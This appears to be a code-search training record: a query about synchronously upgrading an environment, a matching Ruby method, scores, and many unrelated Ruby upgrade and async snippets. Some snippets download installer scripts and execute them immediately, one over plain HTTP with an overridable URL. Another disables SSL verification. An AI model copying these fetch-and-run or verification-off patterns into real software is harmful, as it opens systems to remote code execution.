"def upgrade\n # FIXME: check the global status:\n # if we failed in some previous attempt (pre/os/post), continue from the failed substep\n\n # this is just a fallback check, we should know by checking the global status that the action\n # should not be executed on already upgraded node\n return true if upgraded?\n\n unless pre_upgrade\n save_error_state(\"Error while executing pre upgrade script\")\n return false\n end\n\n unless os_upgrade\n save_error_state(\"Error while executing upgrade script\")\n return false\n end\n\n # wait until the OS upgrade is finished\n upgrade_failure = false\n begin\n Timeout.timeout(600) do\n loop do\n out = @node.run_ssh_cmd(\"test -e /var/lib/crowbar/upgrade/node-upgraded-ok\")\n if out[:exit_code].zero?\n save_node_state(\"Package upgrade was successful.\")\n break\n end\n out = @node.run_ssh_cmd(\"test -e /var/lib/crowbar/upgrade/node-upgrade-failed\")\n if out[:exit_code].zero?\n upgrade_failure = true\n save_error_state(\"Installation of node #{@node.name} failed\")\n break\n end\n sleep(5)\n end\n end\n rescue Timeout::Error\n save_error_state(\"Error during upgrading node. Action did not finish after 10 minutes\")\n return false\n end\n\n return false if upgrade_failure\n\n # reboot the node after successful upgrade\n ssh_status = @node.ssh_cmd(\"/sbin/reboot\")\n if ssh_status[0] != 200\n save_error_state(\"Failed to reboot the machine. Could not ssh.\")\n return false\n end\n\n # FIXME: wait until node comes back\n\n unless post_upgrade\n save_error_state(\"Error while executing post upgrade script\")\n return false\n end\n true\n end",
"def update_for_wait\n update_basic\n end",
"def _env_change\n if @env_used\n @environments << @env\n @env = Bcpm::Tests::Environment.new\n @env_used = false\n end\n end",
"def upgrade(options={})\n send(run_method, \"#{YUM_COMMAND} -qy upgrade\", options)\n end",
"def upgrade(options={})\n update\n send(run_method, %{sh -c \"#{APT_GET} -qy upgrade\"}, options)\n end",
"def update\n if properties[:ensure] == :absent\n install\n elsif @portorigin\n do_portupgrade portorigin, upgrade_options, resource[:package_settings]\n else\n warning \"Could not upgrade package '#{name}' which has no port origin.\"\n end\n end",
"def upgrade_package host, package_name\n host.upgrade_package package_name\n end",
"def update\n if properties[:ensure] == :absent\n install\n else\n if @portorigin\n do_portupgrade portorigin, upgrade_options, resource[:package_settings]\n else\n warning \"Could not upgrade package '#{name}' which has no port origin.\"\n end\n end\n end",
"def rack_async(env)\n event_machine do\n # return from this Rack endpoint without blocking\n env['async.callback'].call([200, {}, [\"Hey from a ASync Rack app!!!!!!!\"]])\n\n # and it will start a deferred job that will fire in 5 seconds\n EM.add_timer(5) do\n logger.debug \"EMAsyncApp#rack_async: yeehaaa going to DB!!!!!\"\n end\n end\n # returning this signals to the server we are sending an async\n # response\n Rack::Async::RESPONSE\n end",
"def update_application(group)\n @site.class_filter(group)\n begin\n @site.upgrade.each do |rpcresult|\n if rpcresult.results[:statuscode] != 0\n hostname = rpcresult.results[:sender]\n raise FailedUpgradeException, hostname\n end\n end\n ensure\n @site.reset_filter\n end\nend",
"def update!(**args)\n @environments = args[:environments] if args.key?(:environments)\n end",
"def finish\n super\n @_env[ENV_KEY] = self\n end",
"def action_upgrade\n install_requirements(upgrade: true)\n end",
"def wait_for_completion\n until terminated? do\n Kernel.sleep(Gosen::DeploymentRun::POLLING_TIME)\n @deployment_resource.reload\n end\n raise Gosen::Error.new(\"Deployment error: #{@deployment_resource['output']}\") if @deployment_resource['status'] == 'error'\n end",
"def push_to_global_registry\n async(:async_push_to_global_registry)\n end",
"def push_to_global_registry\n async(:async_push_to_global_registry)\n end",
"def async_configure(id, options = {})\n job = Job.new(:environment_configure)\n async(:configure, job, id, options)\n\n job.ticket\n end",
"def environment *environments, &block\n old = @environments\n @environments = @environments.dup.concat environments.map { |e| e.to_s }\n\n instance_eval(&block)\n ensure\n @environments = old\n end",
"def pip_upgrade(venv)\n stat = File.stat(venv)\n Date.parse(stat.mtime.to_s) > Date.today - 30 && return\n `#{venv}/bin/pip install --upgrade`\n FileUtils.touch venv\nend",
"def rack_async(env)\n event_machine do\n # each new client connection will get this response\n env['async.callback'].call([200, {}, [\"Hey from a ASync Rack app!!!!!!!\"]])\n\n # and it will start a deferred job that will fire in 5 seconds\n EM.add_timer(5) do\n # puts \"yeehaaa going to DB!!!!!\"\n end\n end\n # returning this signals to the server we are sending an async\n # response\n Rack::Async::RESPONSE\n end",
"def async_unlock(environment)\n job = Job.new(:unlock)\n async(:unlock, job, environment)\n job.ticket\n end",
"def update!(**args)\n @parallel_upgrade_config = args[:parallel_upgrade_config] if args.key?(:parallel_upgrade_config)\n end",
"def upgrade\n add option: \"-upgrade\"\n end",
"def environment *environments, &block\n old = @environments.dup\n @environments.concat environments.map { |e| e.to_s }\n\n begin\n yield\n ensure\n @environments = old\n end\n end",
"def relaunch!\n requires :id\n body = [ \"FORCE\", {}]\n body[1][:sshKeyIds] = key_pairs.map {|kp| kp.id} unless key_pairs.empty?\n type = bare_metal? ? :hardware_server : :virtual_guest\n status = service.request(type, \"#{id}/reloadOperatingSystem\", :body => body, :http_method => :post).status\n wait_for { not ready? } # block until the relaunch has begun\n [200, 201].include?(status)\n end",
"def update\n install\n end",
"def update *reqs\n fire :updating, :updated do\n @environments |= @sandbox.environments\n @options.merge! reqs.pop if Hash === reqs.last\n @requirement = Gem::Requirement.new reqs unless reqs.empty?\n end\n\n self\n end",
"def initiate_nodes_upgrade\n upgrade_nodes = Node.all.reject do |node|\n node.admin? || node[:platform] == \"windows\" || node.state != \"crowbar_upgrade\"\n end\n check_if_nodes_are_available upgrade_nodes\n admin_node = Node.admin_node\n upgrade_nodes_failed = []\n\n upgrade_nodes.each do |node|\n node[\"target_platform\"] = admin_node[\"provisioner\"][\"default_os\"]\n node.save\n node.set_state(\"os-upgrading\")\n end\n\n # wait for the pxe_config to be updated, then reboot the nodes\n discovery_dir = \"#{Node.admin_node[:provisioner][:root]}/discovery/\"\n pxecfg_subdir = \"bios/pxelinux.cfg\"\n\n upgrade_nodes.each do |node|\n boot_ip_hex = node[\"crowbar\"][\"boot_ip_hex\"]\n node_arch = node[\"kernel\"][\"machine\"]\n pxe_conf = \"#{discovery_dir}/#{node_arch}/#{pxecfg_subdir}/#{boot_ip_hex}\"\n ready_for_reboot = false\n\n while Time.now.to_i < Time.now.to_i + 120 && !ready_for_reboot\n Rails.logger.debug(\"waiting for pxe configuration to be updated for #{node.name}\")\n if File.file?(pxe_conf)\n File.open(pxe_conf).each_line do |line|\n line.chomp!\n if line =~ /^DEFAULT\\s+.+_install$/\n ready_for_reboot = true\n end\n end.close\n end\n sleep(5) unless ready_for_reboot\n end\n if ready_for_reboot\n Rails.logger.debug(\"Rebooting node #{node.name} for operating system upgrade\")\n ssh_status = node.ssh_cmd(\"/sbin/reboot\")\n if ssh_status[0] != 200\n Rails.logger.error(\"Upgrade failed for machine #{node.name}. Could not ssh.\")\n upgrade_nodes_failed.push(node.name)\n end\n else\n Rails.logger.error(\"Upgrade failed for #{node.name}. Node not ready for reboot\")\n upgrade_nodes_failed.push(node.name)\n end\n end\n # If list is empty, this method was successful.\n upgrade_nodes_failed\n end",
"def upgrade_npm_packages\n Kernel.exec('bundle exec vite upgrade_packages')\n end",
"def system_update(&block)\n ssh.exec! \"apt-get --assume-yes update\", sudo: true\n ssh.exec \"apt-get --assume-yes upgrade\", sudo: true do |ch, stream, data, cmd|\n yield data\n end\n end",
"def update\n self.install\n end",
"def update\n self.install\n end",
"def update\n self.install\n end",
"def db_async(env)\n event_machine do\n # get the DB connection\n pg = EMAsyncApp.conn\n\n # signal to the web server, Thin, that it's HTTP request will be\n # handled asynchronously. It will not block\n env['async.callback'].call([200, {}, [\"Hey from a DB ASync Rack app!!!!!!!\"]])\n\n # Make the non-blocking/async query, returns a EM::Deferrable\n df = pg.execute(query)\n\n # success callback\n df.callback { |result|\n logger.debug \"EMAsyncApp::db_async DB results = #{Array(result).inspect}\"\n }\n\n # error callback\n df.errback {|ex|\n logger.debug \"EMAsyncApp::db_async Exeption = #{ex.inspect}\"\n raise ex\n }\n\n end\n # returning this signals to the server we are sending an async\n # response\n Rack::Async::RESPONSE\n end",
"def upgrade_repo!\n package 'apt-transport-https'\n include_recipe \"apt-chef::#{new_resource.channel}\"\n package('chefdk') { action :upgrade }\n end",
"def env=(environment); end",
"def env=(environment); end",
"def update(&block)\n ssh.exec! \"apt-get --assume-yes update\", sudo: true\n ssh.exec \"apt-get --assume-yes upgrade\", sudo: true do |ch, stream, data, cmd|\n yield data\n end\n end",
"def update(env=:all)\n []\n end",
"def install(env); end",
"def async_bootstrap(environment, manifest, plugin, options = {})\n job = Job.new(:bootstrap)\n async(:bootstrap, job, environment, manifest, plugin, options)\n\n job.ticket\n end",
"def vm_version_upgrade(vm, version)\n Puppet.debug(\"Upgrading vm to version: %s\" % [version.to_s])\n\n task = vm.UpgradeVM_Task(:version => version)\n task.wait_for_completion\n raise(\"Failed vm configuration task for %s with error %s\" % [vm.name, task.info[:error][:localizedMessage]]) if task.info[:state] == \"error\"\n end",
"def refresh_remote(app_name, params={}, timeout=5)\n app_name = app_name.to_sym\n cur_appliances = self.appliances\n appliance = cur_appliances[app_name] || {}\n appliance_url = (appliance[:url] || appliance[:host]).to_s\n if !appliance_url\n raise \"appliance config is missing url!\" # should not need this\n end\n # todo: this insecure flag needs to applied everywhere now tho..\n if appliance[:insecure]\n Morpheus::RestClient.enable_ssl_verification = false\n # Morpheus::RestClient.enable_http = true\n end\n err = nil\n json_response = nil\n # make request to /api/setup/check\n # and update appliance :status, :build_version, :last_check{}\n if appliance_url.to_s.empty?\n err = \"no url specified\"\n # wtf, no url...\n return appliance, json_response\n else\n # access token is needed for buildVersion\n wallet = Morpheus::Cli::Credentials.new(app_name, appliance_url).load_saved_credentials()\n setup_interface = Morpheus::SetupInterface.new({url:appliance_url, verify_ssl: !appliance[:insecure], timeout: timeout, \n access_token: (wallet && wallet['access_token']) ? wallet['access_token'] : nil})\n start_time = Time.now\n begin\n json_response = setup_interface.check(params)\n rescue => ex\n err = ex\n ensure\n took_sec = Time.now - start_time\n end\n \n # save and update appliance info\n return save_remote_last_check(appliance, json_response, err, took_sec)\n end\n end",
"def upgrade_tasks\n if ENV['UPGRADE'].present?\n ENV['UPGRADE'].split(',')\n else\n all_upgrade_tasks\n end\n end",
"def version_task\n update_gemspec(:version, ENV['VERSION']) if ENV['VERSION']\n update_gemspec(:date, Date.today)\n\n update_version_file(gemspec.version)\n update_version_constant(gemspec.version)\n end",
"def braid_update_config\n bundle_exec('braid setup 2>&1 > /dev/null', false)\n bundle_exec('braid upgrade-config') if 0 == $?.exitstatus\n end",
"def update\n # Install in pacman can be used for update, too\n self.install\n end",
"def update\n # Install in pacman can be used for update, too\n self.install\n end",
"def activate(environment)\n old_environment = activate!(environment)\n yield\n ensure\n activate!(old_environment)\n end",
"def upgrade(job, environment, plugin, options = {})\n worker = Worker.new(job, environment.freeze, plugin.freeze, options.freeze)\n worker.run\n ensure\n worker.terminate if worker && worker.alive?\n job.terminate if job && job.alive?\n end",
"def start\n migration_task.update!(:state => 'migrate')\n handover_to_automate\n queue_signal(:poll_automate_state_machine)\n end",
"def call(env)\n original_request = Rack::Request.new(env)\n\n runner = Runner.new(Bond.new(\n repository: repository,\n request: original_request,\n user_version_proc: Pragma::Migration.config.user_version_proc\n ))\n\n migrated_request = runner.run_upwards\n\n status, headers, body = @app.call(migrated_request.env)\n original_response = Rack::Response.new(body, status, headers)\n migrated_response = runner.run_downwards(original_response)\n\n [migrated_response.status, migrated_response.headers, migrated_response.body]\n end",
"def upgrade\n configure_addon('Upgrading') do |addon, config|\n heroku.upgrade_addon(app, addon, config)\n end\n end",
"def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end",
"def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end",
"def gemset_update\n rvm(@environment_name, :gemset, :update).successful?\n end",
"def sync_up\n simulator.sync_up\n end",
"def braid_update_all\n bundle_exec('braid setup 2>&1 > /dev/null', false)\n bundle_exec('braid update') if 0 == $?.exitstatus\n end",
"def reinstall\n try_winrm = false\n if !@server.windows?\n cmd = %Q{curl -LO https://omnitruck.chef.io/install.sh && sudo bash ./install.sh -v #{MU.chefVersion} && rm install.sh}\n else\n try_winrm = true\n cmd = %Q{Invoke-WebRequest -useb https://omnitruck.chef.io/install.ps1 | Invoke-Expression; Install-Project -version:#{MU.chefVersion} -download_directory:$HOME}\n end\n\n if try_winrm\n begin\n MU.log \"Attempting Chef upgrade via WinRM on #{@server.mu_name}\", MU::NOTICE, details: cmd\n winrm = @server.getWinRMSession(1, 30, winrm_retries: 2)\n pp winrm.run(cmd)\n return\n rescue SystemExit, Timeout::Error, MU::Cloud::BootstrapTempFail, MU::MuError, Net::HTTPServerException, HTTPClient::ConnectTimeoutError, WinRM::WinRMError, Net::SSH::AuthenticationFailed, Net::SSH::Disconnect, Net::SSH::ConnectionTimeout, Net::SSH::Proxy::ConnectError, Net::SSH::Exception, Errno::ECONNRESET, Errno::EHOSTUNREACH, Errno::ECONNREFUSED, Errno::EPIPE, SocketError, IOError\n MU.log \"WinRM failure attempting Chef upgrade on #{@server.mu_name}, will fall back to ssh\", MU::WARN\n cmd = %Q{powershell.exe -inputformat none -noprofile \"#{cmd}\"}\n end\n end\n\n MU.log \"Attempting Chef upgrade via ssh on #{@server.mu_name}\", MU::NOTICE, details: cmd\n ssh = @server.getSSHSession(1)\n ssh.exec!(cmd) { |_ch, _stream, data|\n puts data\n }\n end",
"def update(env=:all)\n dbg \"Puppet::Marshall::Mod::Git#update(#{env.inspect})\"\n fetch\n case env\n when :all\n implied_environments.each { |e| update e }\n when *implied_environments\n do_update(env)\n else\n # should raise or warn?\n raise Puppet::Marshall::Error.new(\"No environment '#{env}' implied in source\")\n end\n end",
"def call(env)\n if @cooldown && Time.now > @last + @cooldown\n begin\n MUTEX.synchronize{reload!}\n rescue StandardError, ScriptError => e\n raise unless @handle_reload_errors\n content = \"#{e.class}: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n return [500, {'Content-Type' => 'text/plain', 'Content-Length' => content.bytesize.to_s}, [content]]\n end\n @last = Time.now\n end\n @app_block.call.call(env)\n end",
"def update\n self.uninstall if (@property_hash[:ensure] || info2hash()[:ensure]) != :absent\n self.install\n end",
"def dist_upgrade(options={})\n send(run_method, \"#{YUM_COMMAND} -qy dist-upgrade\", options)\n end",
"def handle_environment_change\n if environment_id_changed? and not new_record?\n # Handle references to this package\n self.optional_install_items.each(&:destroy)\n self.install_items.each(&:destroy)\n self.uninstall_items.each(&:destroy)\n self.managed_update_items.each(&:destroy)\n # Handle references to the package branch\n num_of_packages = self.package_branch.packages.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was).count\n if num_of_packages == 1\n # There is only one version of this package in the environment\n # and unit and we are about to move it. Before doing so, destroy\n # all install items within that scope.\n computers = Computer.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was)\n computer_groups = ComputerGroup.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was)\n bundles = Bundle.where(:unit_id => self.unit_id, :environment_id => self.environment_id_was)\n manifests = computers + computer_groups + bundles\n manifest_ids = manifests.map {|m| m.id }\n # Destroy items belonging to manifests within the unit and old enviornmnet of the package\n OptionalInstallItem.where(:manifest_id => manifest_ids, :package_branch_id => self.package_branch_id).each(&:destroy)\n InstallItem.where(:manifest_id => manifest_ids, :package_branch_id => self.package_branch_id).each(&:destroy)\n UninstallItem.where(:manifest_id => manifest_ids, :package_branch_id => self.package_branch_id).each(&:destroy)\n end\n end\n end",
"def join_async_world\n ap4r_helper.wait_all_done\n end",
"def async_lock(environment)\n job = Job.new(:lock)\n async(:lock, job, environment)\n job.ticket\n end",
"def upgrade\n validate_arguments!\n version_argument = \"\"\n if installed_with_omnibus?\n if options[:version] \n version_argument = \"MORTAR_VERSION=\" + options[:version] +\" \"\n end\n shell_url = ENV.fetch(\"MORTAR_INSTALL\", \"http://install.mortardata.com\")\n dir = \"/opt/mortar/installer\"\n begin\n cmd = \"echo 'Upgrading will prompt for your sudo password.\\n' && MORTAR_URL=\\\"#{shell_url}\\\" #{version_argument}bash -c \\\"$(curl -sSL #{shell_url})\\\"\"\n Kernel.system cmd\n ensure\n end\n else\n error(\"mortar upgrade is only for installations not conducted with ruby gem. Please upgrade by running 'gem install mortar'.\")\n end\n end",
"def upgrade(migrations, context, meta_node)\n migrations.each do |m|\n Neo4j.logger.info \"Running upgrade: #{m}\"\n m.execute_up(context, meta_node)\n end\n end",
"def upgrade(license)\n conn = faraday_configuration\n\n params = { }\n params[:license] = Faraday::UploadIO.new(license, 'binary')\n params[:api_key] = @management_console_password\n @last_response = conn.post(\"/setup/api/upgrade\", params)\n end",
"def upgrade\n configure_addon('Upgrading to') do |addon, config|\n heroku.upgrade_addon(app, addon, config)\n end\n end",
"def deploy\n update_repositories\n sync_service_environment_files\n # deploy_services\n response\n end",
"def call(env)\n options_reload\n\n @watcher.call(@cooldown) do\n if @control\n instance_eval(&@control)\n elsif @thread\n Thread.exclusive{ cycle }\n else\n cycle\n end\n end\n\n @app.call(env)\n end",
"def upgrade!\n version = @original_config.fetch('version', 1)\n case version\n when 2\n # TODO(joshk): Any required updates to v3 or remove this entire method\n true\n end\n end",
"def upgrade_repo!\n raise(Chef::Exceptions::UnsupportedAction,\n 'Repo installs do not support the :upgrade action')\n end",
"def in rails_env = Bj.rails_env, &block\n transaction(:rails_env => rails_env.to_s, &block)\n end",
"def upgrade_technology u\n\n #Speichere User\n user = User.find u\n\n #Überprüfe, ob User alle Vorraussetzungen zum Upgraden erfüllt\n if technology_require? user\n\n\n #Forscht der User grade?\n if user.user_setting.researching != 0 then\n puts \"Research in progress!\"\n\n else\n duration = get_research_duration user\n\n\n\n #transaction do\n #Speichere aktuelle Forschung + Forschungsende\n user.user_setting.update_attribute :researching, id\n user.user_setting.update_attribute :finished_at, duration.second.from_now\n\n #ziehe Geld ab\n user.update_attribute :money, (user.money - get_technology_cost(user) )\n ####\n Resque.enqueue_in(duration.second, ResearchTechnology, user.id, id )\n #update_uservalues user\n #end\n end\n\n end\n end",
"def exec_bundle\n ENV_EXPORTERS.each do |exporter|\n ENV[\"VER_#{exporter.upcase}\"] = ENV[\"TM_#{exporter.upcase}\"] =\n send(\"exec_env_#{exporter}\").to_s\n end\n\n yield if block_given?\n end",
"def update_cookbooks()\n self.resolver.config_dir = self.options[:config_dir] ? self.options[:config_dir] : Dir.pwd\n unless File.exists?(\"cookbooks\")\n\tKitchenplan::Log.info \"No cookbooks directory found. Running #{self.resolver.name} to download necessary cookbooks.\"\n\tself.platform.normaldo self.resolver.fetch_dependencies()\n end\n if self.options[:update_cookbooks]\n\tKitchenplan::Log.info \"Updating cookbooks with #{self.resolver.name}\"\n\tself.platform.normaldo self.resolver.update_dependencies()\n end\n end",
"def sync_with_cluster\n fetch_cluster_data\n reconcile_old_releases\n reconcile_db_with_cluster\n end",
"def upgrade_repo!\n if new_resource.channel != :stable\n raise(Chef::Exceptions::UnsupportedAction,\n 'A channel property cannot be used with the :repo source')\n end\n include_recipe 'chocolatey'\n chocolatey_package 'chefdk' do\n action :upgrade\n end\n end",
"def dist_upgrade(options={})\n update\n send(run_method, %{sh -c \"#{APT_GET} -qy dist-upgrade\"}, options)\n end",
"def auto_upgrade!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).upgrade_model_storage(self)\n else\n base_model.auto_upgrade!(repository_name)\n end\n end",
"def update(name:, environment_variables:)\n GOCD.logger.info(\"updating environment #{name}\")\n endpoint = sprintf(\"/go/api/admin/environments/%s\", name)\n headers = {\n 'Accept' => 'application/vnd.go.cd.v2+json',\n 'Content-Type' => 'application/json',\n \"If-Match\" => etag(name)\n }\n payload = {\n \"name\" => name,\n \"environment_variables\" => environment_variables,\n }.to_json\n resp = Client.send(method: :put, endpoint: endpoint, payload: payload, headers: headers)\n end",
"def call(env)\n if @started || @attempts > MAX_ATTEMPTS\n @app.call(env)\n else\n attempt_to_start_agent\n @app.call(env)\n end\n end",
"def sync() end",
"def sync() end",
"def sync() end",
"def wait_async\n @wait_async = true\n end"
] |
[
"0.5700588",
"0.57000464",
"0.5667662",
"0.558769",
"0.5553724",
"0.55006737",
"0.5499875",
"0.5497845",
"0.5472101",
"0.5423413",
"0.5419721",
"0.5418028",
"0.537472",
"0.5369072",
"0.5360261",
"0.5308547",
"0.5270156",
"0.5191247",
"0.51744026",
"0.51669115",
"0.51506543",
"0.5133853",
"0.51084113",
"0.50733876",
"0.5056158",
"0.5049683",
"0.5041408",
"0.5041408",
"0.5024242",
"0.50067145",
"0.4996466",
"0.49963364",
"0.4987006",
"0.49812838",
"0.49785504",
"0.49772272",
"0.49732804",
"0.4972118",
"0.4958552",
"0.49568573",
"0.49460697",
"0.4944126",
"0.49365675",
"0.49357846",
"0.49357846",
"0.49304232",
"0.49262708",
"0.49111056",
"0.49111056",
"0.49032125",
"0.4886517",
"0.48706713",
"0.4868871",
"0.4864884",
"0.48620635",
"0.48497078",
"0.48411274",
"0.48266336",
"0.48249972",
"0.48249972",
"0.48095146",
"0.48086283",
"0.4791825",
"0.47805613",
"0.47704586",
"0.47646502",
"0.47646502",
"0.47569594",
"0.4752993",
"0.47448537",
"0.47350472",
"0.4729459",
"0.4724944",
"0.47224852",
"0.47066048",
"0.4696141",
"0.46919876",
"0.46879238",
"0.46578974",
"0.46496707",
"0.46480373",
"0.46479034",
"0.46469665",
"0.4638591",
"0.46277693",
"0.46250495",
"0.46183088",
"0.46119687",
"0.46083346",
"0.46068642",
"0.4604351",
"0.45960033",
"0.4594545",
"0.45769247",
"0.45686316",
"0.45655894",
"0.45636573",
"0.45636573",
"0.45636573",
"0.4562621"
] |
0.68890375
|
0
|
Synchronously upgrade an environment
|
def upgrade(job, environment, plugin, options = {})
worker = Worker.new(job, environment.freeze, plugin.freeze, options.freeze)
worker.run
ensure
worker.terminate if worker && worker.alive?
job.terminate if job && job.alive?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def async_upgrade(environment, plugin, options = {})\n job = Job.new(:upgrade)\n\n async(:upgrade, job, environment, plugin, options)\n\n job.ticket\n end",
"def sync_gem_environments\n resync = []\n environments.each do |name|\n env = environment(name)\n if env.has_gems? \n resync << name\n env.sync\n env.save\n end\n end\n resync\n end",
"def _env_change\n if @env_used\n @environments << @env\n @env = Bcpm::Tests::Environment.new\n @env_used = false\n end\n end",
"def sync(name=nil)\n env = env(name)\n env.sync\n env.save\n end",
"def restore_env(env); end",
"def upgrade\n project.run \"apk upgrade\"\n end",
"def upgrade(version)\n \n end",
"def env=(environment); end",
"def env=(environment); end",
"def environment *environments, &block\n old = @environments\n @environments = @environments.dup.concat environments.map { |e| e.to_s }\n\n instance_eval(&block)\n ensure\n @environments = old\n end",
"def finish\n super\n @_env[ENV_KEY] = self\n end",
"def action_upgrade\n notifying_block do\n install_scl_repo\n flush_yum_cache\n install_scl_package(:upgrade)\n install_scl_devel_package(:upgrade) if new_resource.dev_package\n end\n end",
"def update\n Puppet.debug \"Attempting to upgrade #{@resource[:name]}\"\n install unless mas_app\n mas('upgrade')\n end",
"def upgrade\n if targets.any?\n resolve_dependencies!\n fetch_results!\n end\n\n Upgrades.add_to(self)\n\n run!\n end",
"def check_and_set_environment\n check_env\n set_env\n end",
"def environment *environments, &block\n old = @environments.dup\n @environments.concat environments.map { |e| e.to_s }\n\n begin\n yield\n ensure\n @environments = old\n end\n end",
"def activate(environment)\n old_environment = activate!(environment)\n yield\n ensure\n activate!(old_environment)\n end",
"def with_env(options, &block)\n backup = ENV.to_h\n ENV.clear\n ENV.update(options)\n yield\nensure\n ENV.clear\n ENV.update(backup)\nend",
"def install(env); end",
"def update!(**args)\n @environments = args[:environments] if args.key?(:environments)\n end",
"def pip_upgrade(venv)\n stat = File.stat(venv)\n Date.parse(stat.mtime.to_s) > Date.today - 30 && return\n `#{venv}/bin/pip install --upgrade`\n FileUtils.touch venv\nend",
"def update(env=:all)\n dbg \"Puppet::Marshall::Mod::Git#update(#{env.inspect})\"\n fetch\n case env\n when :all\n implied_environments.each { |e| update e }\n when *implied_environments\n do_update(env)\n else\n # should raise or warn?\n raise Puppet::Marshall::Error.new(\"No environment '#{env}' implied in source\")\n end\n end",
"def with_environment(env); end",
"def action_upgrade\n install_requirements(upgrade: true)\n end",
"def update\n self.uninstall if (@property_hash[:ensure] || info2hash()[:ensure]) != :absent\n self.install\n end",
"def update\n if properties[:ensure] == :absent\n install\n else\n if @portorigin\n do_portupgrade portorigin, upgrade_options, resource[:package_settings]\n else\n warning \"Could not upgrade package '#{name}' which has no port origin.\"\n end\n end\n end",
"def action_upgrade\n run_package_action(:upgrade)\n end",
"def upgrade(autoinst, iso_url)\n prepare\n setup_iso(iso_url)\n setup_autoinst(autoinst)\n setup_definition(:upgrade)\n change_boot_order\n backup_image\n build(autoinst)\n # During upgrade, Veewee will fail because SSH is disabled by PAM during\n # booting. So Veewee will get a \"Authentication Failure\" and it will give\n # up. At this time, we'll wait some time so installation process can finish\n # properly. We should find a cleaner solution.\n log.info \"Waiting #{SLEEP_TIME_AFTER_UPGRADE} seconds for upgrade process to finish\"\n sleep SLEEP_TIME_AFTER_UPGRADE\n run_postinstall\n true\n end",
"def upgrade(options={})\n send(run_method, \"#{YUM_COMMAND} -qy upgrade\", options)\n end",
"def set_env(env)\n current = Thread.current[ENVIRONMENT]\n Thread.current[ENVIRONMENT] = env\n current\n end",
"def mock_env(partial_env_hash)\n old = ENV.to_hash\n ENV.update partial_env_hash\n begin\n yield\n ensure\n ENV.replace old\n end\n end",
"def with_temp_env(environment)\n # Build up the new environment, preserving the old values so we\n # can replace them back in later.\n old_env = {}\n environment.each do |key, value|\n old_env[key] = ENV[key]\n ENV[key] = value\n end\n\n # Call the block, returning its return value\n return yield\n ensure\n # Reset the environment no matter what\n old_env.each do |key, value|\n ENV[key] = value\n end\n end",
"def upgrade_package host, package_name\n host.upgrade_package package_name\n end",
"def update_environment &block\n\n # get environment data from request body\n # if data could not be parsed, return with error\n\n parsed_environment = parse_body\n\n unless parsed_environment\n block.call( { :status => 400 } )\n return\n end\n\n @environment.merge!( parsed_environment )\n\n puts \"environment update for client #{uuid}: #{environment.inspect}\"\n\n # pass request to grouper\n \n em_put( \"/clients/#{uuid}/environment\", @environment.to_json ) do |response|\n block.call( response )\n begin\n content = JSON.parse( response[:content] )\n rescue\n content = { \"group\" => [] }\n end\n\n # for all clients in the same group (as returned by the grouper): update group info (if client is peeking)\n\n ids = content[\"group\"].map { |info| info[\"client_uuid\"] }\n\n puts \"updated clients after environment update for client #{uuid}: #{ids.inspect}\"\n\n Client.find_all_by_uuids( ids ).each do |client|\n group = Group.new(content['group'])\n client.update_grouped( group ) if client\n end\n end\n end",
"def upgrade\n # FIXME: check the global status:\n # if we failed in some previous attempt (pre/os/post), continue from the failed substep\n\n # this is just a fallback check, we should know by checking the global status that the action\n # should not be executed on already upgraded node\n return true if upgraded?\n\n unless pre_upgrade\n save_error_state(\"Error while executing pre upgrade script\")\n return false\n end\n\n unless os_upgrade\n save_error_state(\"Error while executing upgrade script\")\n return false\n end\n\n # wait until the OS upgrade is finished\n upgrade_failure = false\n begin\n Timeout.timeout(600) do\n loop do\n out = @node.run_ssh_cmd(\"test -e /var/lib/crowbar/upgrade/node-upgraded-ok\")\n if out[:exit_code].zero?\n save_node_state(\"Package upgrade was successful.\")\n break\n end\n out = @node.run_ssh_cmd(\"test -e /var/lib/crowbar/upgrade/node-upgrade-failed\")\n if out[:exit_code].zero?\n upgrade_failure = true\n save_error_state(\"Installation of node #{@node.name} failed\")\n break\n end\n sleep(5)\n end\n end\n rescue Timeout::Error\n save_error_state(\"Error during upgrading node. Action did not finish after 10 minutes\")\n return false\n end\n\n return false if upgrade_failure\n\n # reboot the node after successful upgrade\n ssh_status = @node.ssh_cmd(\"/sbin/reboot\")\n if ssh_status[0] != 200\n save_error_state(\"Failed to reboot the machine. Could not ssh.\")\n return false\n end\n\n # FIXME: wait until node comes back\n\n unless post_upgrade\n save_error_state(\"Error while executing post upgrade script\")\n return false\n end\n true\n end",
"def update\n if properties[:ensure] == :absent\n install\n elsif @portorigin\n do_portupgrade portorigin, upgrade_options, resource[:package_settings]\n else\n warning \"Could not upgrade package '#{name}' which has no port origin.\"\n end\n end",
"def action_update\n install_bundler\n run_bundler('update')\n set_state\n end",
"def in rails_env = Bj.rails_env, &block\n transaction(:rails_env => rails_env.to_s, &block)\n end",
"def update!(**args)\n @parallel_upgrade_config = args[:parallel_upgrade_config] if args.key?(:parallel_upgrade_config)\n end",
"def upgrade(options={})\n update\n send(run_method, %{sh -c \"#{APT_GET} -qy upgrade\"}, options)\n end",
"def activate!(environment)\n environment ||= :master\n activated_environments << environment\n old_environment = self.environment\n @environment = environment\n old_environment\n end",
"def withenv(env, &block)\n original = ENV.to_hash\n reset(original.merge(env))\n block.call\n ensure\n reset(original)\n end",
"def update *reqs\n fire :updating, :updated do\n @environments |= @sandbox.environments\n @options.merge! reqs.pop if Hash === reqs.last\n @requirement = Gem::Requirement.new reqs unless reqs.empty?\n end\n\n self\n end",
"def with_environment(env)\n old_env = {}\n env.each do |var, value|\n old_env[var] = ENV[var.to_s]\n ENV[var.to_s] = value\n end\n\n yield\n ensure\n old_env.each { |var, value| ENV[var.to_s] = value }\n end",
"def with_env(env)\n begin\n current = set_env(env)\n yield\n ensure\n set_env(current)\n end\n end",
"def setup_environment; end",
"def activate environment = nil\n enable unless enabled?\n fire :activating\n\n env = (environment || Isolate.env).to_s\n\n install env if install?\n\n entries.each do |e|\n e.activate if e.matches? env\n end\n\n cleanup if cleanup?\n fire :activated\n\n self\n end",
